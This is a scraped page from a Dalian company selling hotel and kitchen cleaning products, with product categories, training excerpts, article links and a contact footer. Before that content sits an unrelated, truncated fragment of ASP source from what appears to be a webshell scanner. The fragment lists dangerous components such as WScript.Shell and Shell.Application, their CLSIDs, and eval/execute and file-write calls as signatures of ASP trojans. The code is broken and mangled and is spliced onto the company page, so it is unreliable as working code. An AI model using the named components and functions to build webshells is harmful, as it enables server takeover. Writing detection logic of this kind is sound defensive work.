    本页执行共用了"&thetime&"毫秒" end if Sub ShowAllFile(Path) Set F1SO = CreateObject("Scripting.FileSystemObject") if not F1SO.FolderExists(path) then exit sub Set f = F1SO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If CheckExt(F1SO.GetExtensionName(path&"\"&myfile.name)) Then Call ScanFile(Path&Temp&"\"&myfile.name, "") SumFiles = SumFiles + 1 End If Next Set fc = f.SubFolders For Each f1 in fc ShowAllFile path&"\"&f1.name SumFolders = SumFolders + 1 Next Set F1SO = Nothing End Sub Sub ScanFile(FilePath, InFile) Server.ScriptTimeout=999999999 If InFile <> "" Then Infiles = "该文件被"& InFile & "文件包含执行" End If Set FSO1s = CreateObject("Scripting.FileSystemObject") on error resume next set ofile = FSO1s.OpenTextFile(FilePath) filetxt = Lcase(ofile.readall()) If err Then Exit Sub end if if len(filetxt)>0 then filetxt = vbcrlf & filetxt temp = ""&replace(FilePath,server.MapPath("\")&"\","",1,1,1)&"
    " temp=temp&"Edit " temp=temp&"Del " temp=temp&"Copy " temp=temp&"Move" If instr( filetxt, Lcase("WScr"&DoMyBest&"ipt.Shell") ) or Instr( filetxt, Lcase("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then Report = Report&"
    "&temp&"WScr"&DoMyBest&"ipt.Shell 或者 clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8危险组件,一般被ASP木马利用"&infiles&""&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&"She"&DoMyBest&"ll.Application 或者 clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000危险组件,一般被ASP木马利用"&infiles&""&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&"(vbscript|jscript|javascript).Encode似乎脚本被加密了"&infiles&""&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&"Ev"&"ale"&"val()函数可以执行任意ASP代码
    但是javascript代码中也可以使用,有可能是误报。"&infiles&"
    "&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&"Exec"&"utee"&"xecute()函数可以执行任意ASP代码
    "&infiles&"
    "&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&".CreateTextFile|.OpenTextFile使用了FSO的CreateTextFile|OpenTextFile读写文件"&infiles&""&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&".SaveToFile使用了Stream的SaveToFile函数写文件"&infiles&""&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"
    "&temp&".Save使用了XMLHTTP的Save函数写文件"&infiles&""&GetDateCreate(filepath)&"
    "&GetDateModify(filepath)&"

    ·厨房清洁剂
    ·洗衣房液体清洁剂
    ·洗衣房粉状清洁剂
    ·客房清洁剂
    ·食品清洁剂
    ·配件与工程
       
    · 做一个合格的经理人内部培训节选
    · 洗衣培训节选
    · 食品培训节选
    · 清洗扒板培训节选
    · 悉心聆听——客户与我们拥有共同的目标
    · 爱华迪专家在现场上解惑答疑
    more
    more
    more
    · 酒店的管理层次与职能2009-8-28
    · 洗碗机的构造与操作2008-5-13
    · 解决水质硬对布草洗涤的影响2007-12-29
    · 医院参考洗涤程序 2007-12-29
    · 中餐厨房管理制度2007-12-27
    · 如何确保消毒效果2011-9-26
    · 《餐饮业和集体用餐配送单位卫生规范》2007-12-27
    · 食品卫生知识培训2007-12-27
    |
    |
    |
    |
    |
    |
     

    公司地址:大连西岗区新开路越秀大厦602、603室   邮编:116001   电话:(0411)83769008   传真:(0411)83769011   E-mail:evereight@tom.com
    网站备案:辽ICP备0000000号